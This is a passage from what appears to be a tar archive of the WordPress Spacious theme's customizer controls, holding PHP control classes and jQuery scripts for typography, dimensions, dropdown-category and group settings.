$input_attrs = $setting->manager->get_control( $setting->id )->input_attrs;
foreach ( $typography_args['line-height'] as $key => $value ) {
if ( isset( $key ) && ! empty( $value ) ) {
if ( isset( $input_attrs ) && ! empty( $input_attrs ) ) {
foreach ( $input_attrs as $input_key => $input_value ) {
$input_value['line-height']['min'] = isset( $input_value['line-height']['min'] ) ? $input_value['line-height']['min'] : 0;
$input_value['line-height']['step'] = isset( $input_value['line-height']['step'] ) ? $input_value['line-height']['step'] : 1;
if ( isset( $input_value['line-height']['max'] ) && $value > $input_value['line-height']['max'] ) {
$line_height_values[ $key ] = self::sanitize_text_field( $input_value['line-height']['max'] );
} elseif ( $value < $input_value['line-height']['min'] ) {
$line_height_values[ $key ] = self::sanitize_text_field( $input_value['line-height']['min'] );
} else {
$line_height_values[ $key ] = self::sanitize_text_field( $value );
}
}
} else {
$line_height_values[ $key ] = self::sanitize_text_field( $value );
}
}
$output['line-height'] = $line_height_values;
}
}
// Sanitizing the letter spacing option.
if ( isset( $typography_args['letter-spacing'] ) && is_array( $typography_args['letter-spacing'] ) ) {
$letter_spacing_values = array();
$input_attrs = $setting->manager->get_control( $setting->id )->input_attrs;
foreach ( $typography_args['letter-spacing'] as $key => $value ) {
if ( isset( $key ) && ! empty( $value ) ) {
if ( isset( $input_attrs ) && ! empty( $input_attrs ) ) {
foreach ( $input_attrs as $input_key => $input_value ) {
$input_value['letter-spacing']['min'] = isset( $input_value['letter-spacing']['min'] ) ? $input_value['letter-spacing']['min'] : 0;
$input_value['letter-spacing']['step'] = isset( $input_value['letter-spacing']['step'] ) ? $input_value['letter-spacing']['step'] : 1;
if ( isset( $input_value['letter-spacing']['max'] ) && $value > $input_value['letter-spacing']['max'] ) {
$letter_spacing_values[ $key ] = self::sanitize_text_field( $input_value['letter-spacing']['max'] );
} elseif ( $value < $input_value['letter-spacing']['min'] ) {
$letter_spacing_values[ $key ] = self::sanitize_text_field( $input_value['letter-spacing']['min'] );
} else {
$letter_spacing_values[ $key ] = self::sanitize_text_field( $value );
}
}
} else {
$letter_spacing_values[ $key ] = sanitize_text_field( $value );
}
}
$output['letter-spacing'] = $letter_spacing_values;
}
}
return $output;
}
/**
* Sanitize the sortable value set within customizer controls.
*
* @param number $input Customizer setting input sortable arguments.
* @param object $setting Setting object.
*
* @return mixed
*/
public static function sanitize_sortable( $input, $setting ) {
// Get list of choices from the control associated with the setting.
$choices = $setting->manager->get_control( $setting->id )->choices;
$input_keys = $input;
foreach ( $input_keys as $key => $value ) {
if ( ! array_key_exists( $value, $choices ) ) {
unset( $input[ $key ] );
}
}
// If the input is a valid key, return it, otherwise, return the default.
return ( is_array( $input ) ? $input : $setting->default );
}
}
core/custom-controls/dropdown-categories/class-spacious-dropdown-categories-control.php 0000666 00000005420 15236704333 0025736 0 ustar 00 <?php
/**
* Extend WP_Customize_Control to add dropdown categories control.
*
* Class Spacious_Dropdown_Categories_Control
*
* @package ThemeGrill
* @subpackage Spacious
* @since Spacious 3.0.0
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Class to extend WP_Customize_Control to add dropdown categories customize control.
*
* Class Spacious_Dropdown_Categories_Control
*/
class Spacious_Dropdown_Categories_Control extends Spacious_Customize_Base_Additional_Control {
/**
* Control's Type.
*
* @var string
*/
public $type = 'spacious-dropdown-categories';
/**
* Dropdown categories array for this control.
*
* @var array
*/
public $dropdown = array();
/**
* Refresh the parameters passed to the JavaScript via JSON.
*
* @see WP_Customize_Control::to_json()
*/
public function to_json() {
parent::to_json();
$this->json['default'] = $this->setting->default;
if ( isset( $this->default ) ) {
$this->json['default'] = $this->default;
}
$this->json['value'] = $this->value();
$this->json['link'] = $this->get_link();
$this->json['id'] = $this->id;
$this->json['label'] = esc_html( $this->label );
$this->json['description'] = $this->description;
$dropdown = wp_dropdown_categories(
array(
'echo' => false,
'name' => '_customize-dropdown-categories-' . esc_attr( $this->id ),
'show_option_none' => ' ',
'option_none_value' => '-1',
'selected' => esc_attr( $this->value() ),
)
);
// Add in the data link parameter for dropdown categories.
$dropdown = str_replace( '<select', '<select ' . $this->get_link(), $dropdown );
$this->json['dropdown'] = $dropdown;
$this->json['inputAttrs'] = '';
foreach ( $this->input_attrs as $attr => $value ) {
$this->json['inputAttrs'] .= $attr . '="' . esc_attr( $value ) . '" ';
}
}
/**
* An Underscore (JS) template for this control's content (but not its container).
*
* Class variables for this control class are available in the `data` JS object;
* export custom variables by overriding {@see WP_Customize_Control::to_json()}.
*
* @see WP_Customize_Control::print_template()
*
* @access protected
*/
protected function content_template() {
?>
<div class="customizer-text">
<# if ( data.label ) { #>
<span class="customize-control-title">{{{ data.label }}}</span>
<# } #>
<# if ( data.description ) { #>
<span class="description customize-control-description">{{{ data.description }}}</span>
<# } #>
</div>
<div class="customize-control-content">
{{{ data.dropdown }}}
</div>
<?php
}
/**
* Don't render the control content from PHP, as it's rendered via JS on load.
*/
public function render_content() {
}
}
core/custom-controls/dropdown-categories/dropdown-categories.js 0000666 00000000745 15236704333 0021163 0 ustar 00 /**
* Dropdown categories control JS to handle the dropdown categories customize control.
*
* File `dropdown-categorie.js`.
*
* @package Spacious
*/
wp.customize.controlConstructor[ 'spacious-dropdown-categories' ] = wp.customize.Control.extend( {
ready : function () {
'use strict';
var control = this;
// Change the value.
this.container.on( 'change', 'select', function () {
control.setting.set( jQuery( this ).val() );
} );
}
} );
core/custom-controls/class-spacious-customize-base-control.php 0000666 00000004044 15236704333 0020733 0 ustar 00 <?php
/**
* Spacious customizer base control class for theme customize options.
*
* Class Spacious_Customize_Base_Control
*
* @package ThemeGrill
* @subpackage Spacious
* @since Spacious 3.0.0
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Spacious customizer base control class.
*
* Class Spacious_Customize_Base_Control
*/
class Spacious_Customize_Base_Control {
/**
* Registered Controls.
*
* @var array
*/
public static $controls;
/**
* Add Control to self::$controls and register custom controls to WordPress Customizer.
*
* @param string $name Slug for the control.
* @param array $attributes Control Attributes.
*
* @return void
*/
public static function add_control( $name, $attributes ) {
global $wp_customize;
self::$controls[ $name ] = $attributes;
if ( isset( $attributes['callback'] ) ) {
$wp_customize->register_control_type( $attributes['callback'] );
}
}
/**
* Returns control instance.
*
* @param string $control_type Control type.
*
* @return string
*/
public static function get_control_instance( $control_type ) {
$control_class = self::get_control( $control_type );
if ( isset( $control_class['callback'] ) ) {
return class_exists( $control_class['callback'] ) ? $control_class['callback'] : false;
}
return false;
}
/**
* Returns control and its attributes.
*
* @param string $control_type Control type.
*
* @return array
*/
public static function get_control( $control_type ) {
if ( isset( self::$controls[ $control_type ] ) ) {
return self::$controls[ $control_type ];
}
return array();
}
/**
* Returns santize callback for control.
*
* @param string $control Control type for customize option.
*
* @return string
*/
public static function get_sanitize_callback( $control ) {
if ( isset( self::$controls[ $control ]['sanitize_callback'] ) ) {
return self::$controls[ $control ]['sanitize_callback'];
}
return false;
}
}
return new Spacious_Customize_Base_Control();
core/custom-controls/dimensions/dimensions.js 0000666 00000010046 15236704333 0015540 0 ustar 00 /**
* Dimensions JS to handle the background customize option.
*
* File `background.js`.
*
* @package Spacious
*/
wp.customize.controlConstructor['spacious-dimensions'] = wp.customize.Control.extend( {
ready : function () {
'use strict';
var control = this;
// Top Dimension setting.
control.container.on( 'change keyup paste input', '.top input', function () {
control.updateTop();
} );
// Right Dimension setting.
control.container.on( 'change keyup paste input', '.right input', function () {
control.updateRight();
} );
// Left Dimension setting.
control.container.on( 'change keyup paste input', '.left input', function () {
control.updateLeft();
} );
// Bottom Dimension setting.
control.container.on( 'change keyup paste input', '.bottom input', function () {
control.updateBottom();
} );
},
updateTop : function () {
var control = this,
val = control.setting._value,
input = control.container.find( '.dimensions-hidden-value' ),
newValue = {
'top' : {}
};
control.container.find( '.top .input-wrapper' ).each(
function () {
var controlValue = jQuery( this ).find( 'input' ).val();
newValue['top'] = controlValue;
}
);
// Extend/Update the `val` object to include `newValue`'s new data as an object.
jQuery.extend( val, newValue );
jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
control.setting.set( val );
},
updateRight : function () {
var control = this,
val = control.setting._value,
input = control.container.find( '.dimensions-hidden-value' ),
newValue = {
'right' : {}
};
control.container.find( '.right .input-wrapper' ).each(
function () {
var controlValue = jQuery( this ).find( 'input' ).val();
newValue['right'] = controlValue;
}
);
// Extend/Update the `val` object to include `newValue`'s new data as an object.
jQuery.extend( val, newValue );
jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
control.setting.set( val );
},
updateBottom: function () {
var control = this,
val = control.setting._value,
input = control.container.find( '.dimensions-hidden-value' ),
newValue = {
'bottom' : {}
};
control.container.find( '.bottom .input-wrapper' ).each(
function () {
var controlValue = jQuery( this ).find( 'input' ).val();
newValue['bottom'] = controlValue;
}
);
// Extend/Update the `val` object to include `newValue`'s new data as an object.
jQuery.extend( val, newValue );
jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
control.setting.set( val );
},
updateLeft : function () {
var control = this,
val = control.setting._value,
input = control.container.find( '.dimensions-hidden-value' ),
newValue = {
'left' : {}
};
control.container.find( '.left .input-wrapper' ).each(
function () {
var controlValue = jQuery( this ).find( 'input' ).val();
newValue['left'] = controlValue;
}
);
// Extend/Update the `val` object to include `newValue`'s new data as an object.
jQuery.extend( val, newValue );
jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
control.setting.set( val );
},
} ); core/custom-controls/dimensions/class-spacious-dimensions-control.php 0000666 00000010203 15236704333 0022313 0 ustar 00 <?php
/**
* Customize Dimensions control class.
*
* @package spacious
*
* @see WP_Customize_Control
* @access public
*/
/**
* Class Spacious_Dimensions_Control
*/
class Spacious_Dimensions_Control extends Spacious_Customize_Base_Additional_Control {
/**
* Control's Type.
*
* @var string
*/
public $type = 'spacious-dimensions';
/**
* Refresh the parameters passed to the JavaScript via JSON.
*
* @see WP_Customize_Control::to_json()
*/
public function to_json() {
parent::to_json();
$this->json['default'] = $this->setting->default;
if ( isset( $this->default ) ) {
$this->json['default'] = $this->default;
}
$this->json['value'] = $this->value();
$this->json['link'] = $this->get_link();
$this->json['choices'] = $this->choices;
}
/**
* Renders the Underscore template for this control.
*
* @see WP_Customize_Control::print_template()
* @access protected
* @return void
*/
protected function content_template() {
?>
<label>
<# if ( data.label ) { #><span class="customize-control-title">{{{ data.label }}}</span><# } #>
<# if ( data.description ) { #><span class="description customize-control-description">{{{ data.description }}}</span><#
} #>
<div class="wrapper">
<div class="control">
<# if ( data.default['top'] ) { #>
<div class="top">
<h5>Top</h5>
<div class="input-wrapper">
<input type="text"
<# if ( data.value['top'] ) { #>
value="{{ data.value['top'] }}"
<# } else { #>
value="{{ data.default['top'] }}"
<# } #>
/>
</div>
</div>
<# } #>
<# if ( data.default['right'] ) { #>
<div class="right">
<h5>Right</h5>
<div class="input-wrapper">
<input type="text"
<# if ( data.value['right'] ) { #>
value="{{ data.value['right'] }}"
<# } else { #>
value="{{ data.default['right'] }}"
<# } #>
/>
</div>
</div>
<# } #>
<# if ( data.default['bottom'] ) { #>
<div class="bottom">
<h5>Bottom</h5>
<div class="input-wrapper">
<input type="text"
<# if ( data.value['bottom'] ) { #>
value="{{ data.value['bottom'] }}"
<# } else { #>
value="{{ data.default['bottom'] }}"
<# } #>
/>
</div>
</div>
<# } #>
<# if ( data.default['left'] ) { #>
<div class="left">
<h5>Left</h5>
<div class="input-wrapper">
<input type="text"
<# if ( data.value['left'] ) { #>
value="{{ data.value['left'] }}"
<# } else { #>
value="{{ data.default['left'] }}"
<# } #>
/>
</div>
</div>
</div>
<# } #>
<input class="dimensions-hidden-value"
value="{{ JSON.stringify( data.value ) }}"
type="hidden" {{{ data.link }}}
>
</div>
</label>
<?php
}
/**
* Don't render the control content from PHP, as it's rendered via JS on load.
*/
protected function render_content() {
}
}
core/custom-controls/group/class-spacious-group-control.php 0000666 00000007016 15236704333 0020273 0 ustar 00 <?php
/**
* Extend WP_Customize_Control to include group control.
*
* Class Spacious_Group_Control
*
* @package ThemeGrill
* @subpackage Spacious
* @since Spacious 3.0.0
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Class to extend WP_Customize_Control to add the group customize control.
*
* Class Spacious_Group_Control
*/
class Spacious_Group_Control extends Spacious_Customize_Base_Additional_Control {
/**
* Control's Type.
*
* @var string
*/
public $type = 'spacious-group';
/**
* The control name.
*
* @var string
*/
public $name = '';
/**
* The control tab value.
*
* @var string
*/
public $tab = '';
/**
* The fields for group.
*
* @var string
*/
public $spacious_fields = '';
/**
* Enqueue control related scripts/styles.
*/
public function enqueue() {
parent::enqueue();
// Enqueue jQuery UI tabs.
wp_enqueue_script( 'jquery-ui-tabs' );
$tmpl = '<div class="spacious-field-settings-modal">';
$tmpl .= '<ul class="spacious-fields-wrap">';
$tmpl .= '</ul>';
$tmpl .= '</div>';
wp_localize_script(
'spacious-customize-controls',
'SpaciousCustomizerControlGroup',
array(
'group_modal_tmpl' => $tmpl,
)
);
}
/**
* Refresh the parameters passed to the JavaScript via JSON.
*
* @see WP_Customize_Control::to_json()
*/
public function to_json() {
parent::to_json();
$this->json['default'] = $this->setting->default;
if ( isset( $this->default ) ) {
$this->json['default'] = $this->default;
}
$this->json['value'] = $this->value();
$this->json['link'] = $this->get_link();
$this->json['id'] = $this->id;
$this->json['label'] = esc_html( $this->label );
$this->json['description'] = $this->description;
$this->json['name'] = $this->name;
$config = array();
if ( isset( Spacious_Customizer_FrameWork::$group_configs[ $this->name ]['tabs'] ) ) {
$tab = array_keys( Spacious_Customizer_FrameWork::$group_configs[ $this->name ]['tabs'] );
foreach ( $tab as $key => $value ) {
$config['tabs'][ $value ] = wp_list_sort( Spacious_Customizer_FrameWork::$group_configs[ $this->name ]['tabs'][ $value ], 'priority' );
}
} else {
if ( isset( Spacious_Customizer_FrameWork::$group_configs[ $this->name ] ) ) {
$config = wp_list_sort( Spacious_Customizer_FrameWork::$group_configs[ $this->name ], 'priority' );
}
}
$this->json['spacious_fields'] = $config;
}
/**
* An Underscore (JS) template for this control's content (but not its container).
*
* Class variables for this control class are available in the `data` JS object;
* export custom variables by overriding {@see WP_Customize_Control::to_json()}.
*
* @see WP_Customize_Control::print_template()
*
* @access protected
*/
protected function content_template() {
?>
<div class="spacious-group-wrap">
<div class="customizer-text">
<# if ( data.label ) { #>
<span class="customize-control-title">{{{ data.label }}}</span>
<# } #>
<# if ( data.description ) { #>
<span class="description customize-control-description">{{{ data.description }}}</span>
<# } #>
<span
class="spacious-group-toggle-icon dashicons <# if ( data.description ) { #>toggle-description<# } #>"
data-control="{{ data.name }}"></span>
</div>
</div>
<div class="spacious-field-settings-wrap">
</div>
<?php
}
/**
* Don't render the control content from PHP, as it's rendered via JS on load.
*/
public function render_content() {
}
}
core/custom-controls/group/group.js 0000666 00000074714 15236704333 0013524 0 ustar 00 /**
* Group control JS to handle the group customize option.
*
* File `group.js`.
*
* @package Spacious
*/
(
function ( $ ) {
wp.customize.controlConstructor['spacious-group'] = wp.customize.Control.extend( {
ready : function () {
'use strict';
var control = this;
control.registerToggleEvents();
this.container.on( 'spacious_settings_changed', control.onOptionChange );
},
registerToggleEvents : function () {
var control = this;
/* Close popup when click outside on customize sidebar area */
$( '.wp-full-overlay-sidebar-content' ).click(
function ( e ) {
if ( ! $( e.target ).closest( '.spacious-field-settings-modal' ).length ) {
$( '.spacious-group-toggle-icon.open' ).trigger( 'click' );
}
}
);
control.container.on(
'click',
'.spacious-group-wrap .spacious-group-toggle-icon',
function ( e ) {
e.preventDefault();
e.stopPropagation();
var $this = $( this ),
parent_wrap = $this.closest( '.customize-control-spacious-group' ),
is_loaded = parent_wrap.find( '.spacious-field-settings-modal' ).data( 'loaded' ),
parent_section = parent_wrap.parents( '.control-section' );
if ( $this.hasClass( 'open' ) ) {
parent_wrap.find( '.spacious-field-settings-modal' ).hide();
} else {
/* Close popup when another popup is clicked */
var get_open_popup = parent_section.find( '.spacious-group-toggle-icon.open' );
if ( get_open_popup.length > 0 ) {
get_open_popup.trigger( 'click' );
}
if ( is_loaded ) {
parent_wrap.find( '.spacious-field-settings-modal' ).show();
} else {
var fields = control.params.spacious_fields,
modal_wrap = $( SpaciousCustomizerControlGroup.group_modal_tmpl ),
device = $( '#customize-footer-actions .active' ).attr( 'data-device' );
parent_wrap.find( '.spacious-field-settings-wrap' ).append( modal_wrap );
parent_wrap.find( '.spacious-fields-wrap' ).attr( 'data-control', control.params.name );
control.spacious_render_field( parent_wrap, fields, control );
parent_wrap.find( '.spacious-field-settings-modal' ).show();
if ( 'mobile' === device ) {
$( '.control-wrap.mobile' ).addClass( 'active' );
$( '.responsive-switchers .preview-mobile' ).addClass( 'active' );
$( '.control-wrap.tablet, .control-wrap.desktop' ).removeClass( 'active' );
$( '.responsive-switchers .preview-tablet, .responsive-switchers .preview-desktop' ).removeClass( 'active' );
} else if ( 'tablet' === device ) {
$( '.control-wrap.tablet' ).addClass( 'active' );
$( '.responsive-switchers .preview-tablet' ).addClass( 'active' );
$( '.control-wrap.mobile, .control-wrap.desktop' ).removeClass( 'active' );
$( '.responsive-switchers .preview-mobile, .responsive-switchers .preview-desktop' ).removeClass( 'active' );
} else {
$( '.control-wrap.desktop' ).addClass( 'active' );
$( '.responsive-switchers .preview-desktop' ).addClass( 'active' );
$( '.control-wrap.mobile, .control-wrap.tablet' ).removeClass( 'active' );
$( '.responsive-switchers .preview-mobile, .responsive-switchers .preview-tablet' ).removeClass( 'active' );
}
}
}
$this.toggleClass( 'open' );
}
);
control.container.on(
'click',
'.spacious-group-wrap > .customizer-text',
function ( e ) {
e.preventDefault();
e.stopPropagation();
$( this ).find( '.spacious-group-toggle-icon' ).trigger( 'click' );
}
);
},
spacious_render_field : function ( wrap, fields, control_element ) {
var control = this;
var spacious_field_wrap = wrap.find( '.spacious-fields-wrap' );
var fields_html = '';
var control_types = [];
var field_values = control.isJSONString( control_element.params.value ) ? JSON.parse( control_element.params.value ) : {};
if ( 'undefined' != typeof fields.tabs ) {
var counter = 0;
fields_html += '<div id="' + control_element.params.name + '-tabs" class="spacious-group-tabs">';
fields_html += '<ul class="spacious-group-list">';
_.each(
fields.tabs,
function ( value, key ) {
var li_class = '';
if ( 0 === counter ) {
li_class = "active";
}
fields_html += '<li class="' + li_class + '"><a href="#tab-' + key.replace( ' ','-' ) + '"><span>' + key + '</span></a></li>';
counter ++;
}
);
fields_html += '</ul>';
fields_html += '<div class="spacious-tab-content" >';
_.each(
fields.tabs,
function ( fields_data, key ) {
var result = control.generateFieldHtml( fields_data, field_values );
fields_html += '<div id="tab-' + key.replace( ' ','-' ) + '" class="tab">';
fields_html += result.html;
_.each(
result.controls,
function ( control_value, control_key ) {
control_types.push(
{
key : control_value.key,
value : control_value.value,
name : control_value.name
}
);
}
);
fields_html += '</div>';
}
);
fields_html += '</div>';
fields_html += '</div>';
spacious_field_wrap.html( fields_html );
$( '#' + control_element.params.name + '-tabs' ).tabs();
} else {
var result = control.generateFieldHtml( fields, field_values );
fields_html += result.html;
_.each(
result.controls,
function ( control_value, control_key ) {
control_types.push(
{
key : control_value.key,
value : control_value.value,
name : control_value.name
}
);
}
);
spacious_field_wrap.html( fields_html );
}
_.each(
control_types,
function ( control_type, index ) {
switch ( control_type.key ) {
case 'spacious-color':
control.initColorControl( spacious_field_wrap, control_element, control_type.name );
break;
case 'spacious-background':
control.initBackgroundControl( control_element, control_type, control_type.name );
break;
case 'spacious-typography':
control.initTypographyControl( control_element, control_type, control_type.name );
break;
}
}
);
wrap.find( '.spacious-field-settings-modal' ).data( 'loaded', true );
},
isJSONString : function ( string ) {
try {
JSON.parse( string );
} catch ( e ) {
return false;
}
return true;
},
generateFieldHtml : function ( fields_data, field_values ) {
var fields_html = '';
var control_types = [];
_.each(
fields_data,
function ( attr, index ) {
var new_value = (
wp.customize.control( attr.name ) ? wp.customize.control( attr.name ).params.value : ''
),
control = attr.control,
template_id = 'customize-control-' + control + '-content',
template = wp.template( template_id ),
value = new_value || attr.default,
dataAtts = '',
input_attrs = '';
attr.value = value;
attr.title = attr.label;
// Data attributes.
_.each(
attr.data_attrs,
function ( value, name ) {
dataAtts += ' data-' + name + ' ="' + value + '"';
}
);
// Input attributes.
_.each(
attr.input_attrs,
function ( value, name ) {
input_attrs += name + ' ="' + value + '"';
}
);
attr.dataAttrs = dataAtts;
attr.inputAttrs = input_attrs;
control_types.push(
{
key : control,
value : value,
name : attr.name
}
);
var responsive_switchers = '',
controlsType = [
'spacious-typography'
];
if ( (
'spacious-typography' === attr.control
) && controlsType.includes( attr.control ) ) {
attr.languages = SpaciousCustomizerControlTypographySubsets;
}
if ( controlsType.includes( attr.control ) ) {
responsive_switchers = 'has-responsive-switchers';
}
fields_html += '<li id="customize-control-' + attr.name + '" class="customize-control ' + responsive_switchers + ' customize-control-' + attr.control + '" >';
fields_html += template( attr );
fields_html += '</li>';
}
);
var result = new Object();
result.controls = control_types;
result.html = fields_html;
return result;
},
onOptionChange : function ( e, control, element, value, name ) {
var control_id = $( '.hidden-field-' + name );
control_id.val( value );
var sub_control = wp.customize.control( name );
sub_control.setting.set( value );
},
initColorControl : function ( wrap, control_elem, name ) {
var control = this;
var colorpicker = wrap.find( '.customize-control-spacious-color .spacious-color-picker-alpha' );
colorpicker.wpColorPicker(
{
change : function ( event, ui ) {
if ( 'undefined' != typeof event.originalEvent || 'undefined' != typeof ui.color._alpha ) {
var element = $( event.target ).closest( '.wp-picker-input-wrap' ).find( '.wp-color-picker' )[0];
name = $( element ).parents( '.customize-control' ).attr( 'id' );
name = name.replace( 'customize-control-', '' );
$( element ).val( ui.color.toString() );
control.container.trigger(
'spacious_settings_changed',
[
control,
$( element ),
ui.color.toString(),
name
]
);
}
},
clear : function ( event ) {
var element = $( event.target ).closest( '.wp-picker-input-wrap' ).find( '.wp-color-picker' )[0];
name = $( element ).parents( '.customize-control' ).attr( 'id' );
name = name.replace( 'customize-control-', '' );
$( element ).val( '' );
control.container.trigger(
'spacious_settings_changed',
[
control,
$( element ),
'',
name
]
);
wp.customize.previewer.refresh();
}
}
);
},
initBackgroundControl : function ( control, control_atts, name ) {
var input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .background-hidden-value' ),
value = JSON.parse( input.val() ),
control_name = control_atts.name,
colorpicker = control.container.find( '.spacious-color-picker-alpha' ),
controlContainer = control.container.find( '#customize-control-' + control_name );
// Hide unnecessary controls if the value doesn't have an image.
if ( _.isUndefined( value['background-image'] ) || '' === value['background-image'] ) {
controlContainer.find( '.customize-control-content > .background-repeat' ).hide();
controlContainer.find( '.customize-control-content > .background-position' ).hide();
controlContainer.find( '.customize-control-content > .background-size' ).hide();
controlContainer.find( '.customize-control-content > .background-attachment' ).hide();
}
// Background color setting.
colorpicker.wpColorPicker(
{
change : function () {
if ( $( 'html' ).hasClass( 'colorpicker-ready' ) ) {
var $this = $( this );
setTimeout(
function () {
control.saveBackgroundValue( 'background-color', colorpicker.val(), $this, name );
},
100
);
}
},
clear : function ( event ) {
var element = $( event.target ).closest( '.wp-picker-input-wrap' ).find( '.wp-color-picker' )[0];
if ( element ) {
control.saveBackgroundValue( 'background-color', '', $( element ), name );
}
wp.customize.previewer.refresh();
}
}
);
// Background image setting..
controlContainer.on( 'click', '.background-image-upload-button, .thumbnail-image img', function ( e ) {
var upload_img_btn = $( this );
var image = wp.media( { multiple : false } ).open().on( 'select', function () {
// This will return the selected image from the Media Uploader, the result is an object.
var uploadedImage = image.state().get( 'selection' ).first(),
previewImage = uploadedImage.toJSON().sizes.full.url,
imageUrl,
imageID,
imageWidth,
imageHeight,
preview,
removeButton;
if ( ! _.isUndefined( uploadedImage.toJSON().sizes.medium ) ) {
previewImage = uploadedImage.toJSON().sizes.medium.url;
} else if ( ! _.isUndefined( uploadedImage.toJSON().sizes.thumbnail ) ) {
previewImage = uploadedImage.toJSON().sizes.thumbnail.url;
}
imageUrl = uploadedImage.toJSON().sizes.full.url;
imageID = uploadedImage.toJSON().id;
imageWidth = uploadedImage.toJSON().width;
imageHeight = uploadedImage.toJSON().height;
// Show extra controls if the value has an image.
if ( '' !== imageUrl ) {
controlContainer.find( '.customize-control-content > .background-repeat, .customize-control-content > .background-position, .customize-control-content > .background-size, .customize-control-content > .background-attachment' ).show();
}
control.saveBackgroundValue( 'background-image', imageUrl, upload_img_btn, name );
preview = controlContainer.find( '.placeholder, .thumbnail' );
removeButton = controlContainer.find( '.background-image-upload-remove-button' );
if ( preview.length ) {
preview.removeClass().addClass( 'thumbnail thumbnail-image' ).html( '<img src="' + previewImage + '" alt="" />' );
}
if ( removeButton.length ) {
removeButton.show();
}
} );
e.preventDefault();
} );
controlContainer.on( 'click', '.background-image-upload-remove-button', function ( e ) {
var preview,
removeButton;
e.preventDefault();
control.saveBackgroundValue( 'background-image', '', $( this ) );
preview = controlContainer.find( '.placeholder, .thumbnail' );
removeButton = controlContainer.find( '.background-image-upload-remove-button' );
// Hide unnecessary controls.
controlContainer.find( '.customize-control-content > .background-repeat' ).hide();
controlContainer.find( '.customize-control-content > .background-position' ).hide();
controlContainer.find( '.customize-control-content > .background-size' ).hide();
controlContainer.find( '.customize-control-content > .background-attachment' ).hide();
if ( preview.length ) {
preview.removeClass().addClass( 'placeholder' ).html( SpaciousCustomizerControlBackground.placeholder );
}
if ( removeButton.length ) {
removeButton.hide();
}
} );
// Background repeat setting.
controlContainer.on( 'change', '.background-repeat select', function () {
control.saveBackgroundValue( 'background-repeat', $( this ).val(), $( this ), name );
} );
// Background position setting.
controlContainer.on( 'change', '.background-position select', function () {
control.saveBackgroundValue( 'background-position', $( this ).val(), $( this ), name );
} );
// Background size setting.
controlContainer.on( 'change', '.background-size select', function () {
control.saveBackgroundValue( 'background-size', $( this ).val(), $( this ), name );
} );
// Background attachment setting.
controlContainer.on( 'change', '.background-attachment select', function () {
control.saveBackgroundValue( 'background-attachment', $( this ).val(), $( this ), name );
} );
},
saveBackgroundValue : function ( property, value, element, name ) {
var control = this,
input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .background-hidden-value' ),
val = JSON.parse( input.val() );
val[property] = value;
$( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
name = $( element ).parents( '.customize-control' ).attr( 'id' );
name = name.replace( 'customize-control-', '' );
control.container.trigger(
'spacious_settings_changed',
[
control,
element,
val,
name
]
);
},
initTypographyControl : function ( control, control_atts, name ) {
var value = control.setting._value,
control_name = control_atts.name,
controlContainer = control.container.find( '#customize-control-' + control_name );
// On customizer load, render the available font options.
control.renderTypographyFontSelector( $( this ), name, control_atts );
control.renderTypographyVariantSelector( $( this ), name, control_atts );
control.renderTypographySubsetSelector( $( this ), name, control_atts );
// Font style setting.
controlContainer.on( 'change', '.font-style select', function () {
control.saveTypographyValue( 'font-style', $( this ).val(), $( this ), name );
} );
// Text transform setting.
controlContainer.on( 'change', '.text-transform select', function () {
control.saveTypographyValue( 'text-transform', $( this ).val(), $( this ), name );
} );
// Text decoration setting.
controlContainer.on( 'change', '.text-decoration select', function () {
control.saveTypographyValue( 'text-decoration', $( this ).val(), $( this ), name );
} );
// Font size setting.
controlContainer.on( 'change keyup paste input', '.font-size input', function () {
control.saveTypographyFontSize( $( this ), name, control_atts );
} );
// Line height setting.
controlContainer.on( 'change keyup paste input', '.line-height input', function () {
control.saveTypographyLineHeight( $( this ), name, control_atts );
} );
// Letter spacing setting.
controlContainer.on( 'change keyup paste input', '.letter-spacing input', function () {
control.saveTypographyLetterSpacing( $( this ), name, control_atts );
} );
},
renderTypographyFontSelector : function ( element, name, control_atts ) {
var control = this,
selector = control.selector + ' .font-family select',
standardFonts = [],
googleFonts = [],
customFonts = [],
input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
value = JSON.parse( input.val() ),
fonts = control.getTypographyFonts(),
fontSelect;
// Format standard fonts as an array.
if ( ! _.isUndefined( fonts.standard ) ) {
_.each(
fonts.standard,
function ( font ) {
standardFonts.push(
{
id : font.family.replace( /"/g, ''' ),
text : font.label
}
);
}
);
}
// Format Google fonts as an array.
if ( ! _.isUndefined( fonts.google ) ) {
_.each(
fonts.google,
function ( font ) {
googleFonts.push(
{
id : font.family,
text : font.label
}
);
}
);
}
// Combine fonts and build the final data.
data = [
{
text : fonts.standardfontslabel,
children : standardFonts
},
{
text : fonts.googlefontslabel,
children : googleFonts
}
];
// Format custom fonts as an array.
if ( ! _.isUndefined( fonts.custom ) ) {
_.each(
fonts.custom,
function ( font ) {
customFonts.push(
{
id : font.family,
text : font.label
}
);
}
);
// Merge on `data` array.
data.push(
{
text : fonts.customfontslabel,
children : customFonts
}
);
}
// Instantiate selectWoo with the data.
fontSelect = $( selector ).selectWoo(
{
data : data,
width : '100%'
}
);
// Set the initial value.
if ( value['font-family'] ) {
fontSelect.val( value['font-family'].replace( /'/g, '"' ) ).trigger( 'change' );
}
// When the font option value changes.
fontSelect.on(
'change',
function () {
// Set the value.
control.saveTypographyValue( 'font-family', $( this ).val(), $( this ), name );
// Render new list of selected font options.
control.renderTypographyVariantSelector( $( this ), name, control_atts );
control.renderTypographySubsetSelector( $( this ), name, control_atts );
}
);
},
getTypographyFonts : function () {
var control = this;
if ( ! _.isUndefined( SpaciousCustomizerControlTypography ) ) {
return SpaciousCustomizerControlTypography;
}
return {
google : [],
standard : []
};
},
renderTypographyVariantSelector : function ( element, name, control_atts ) {
var control = this,
input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
value = JSON.parse( input.val() ),
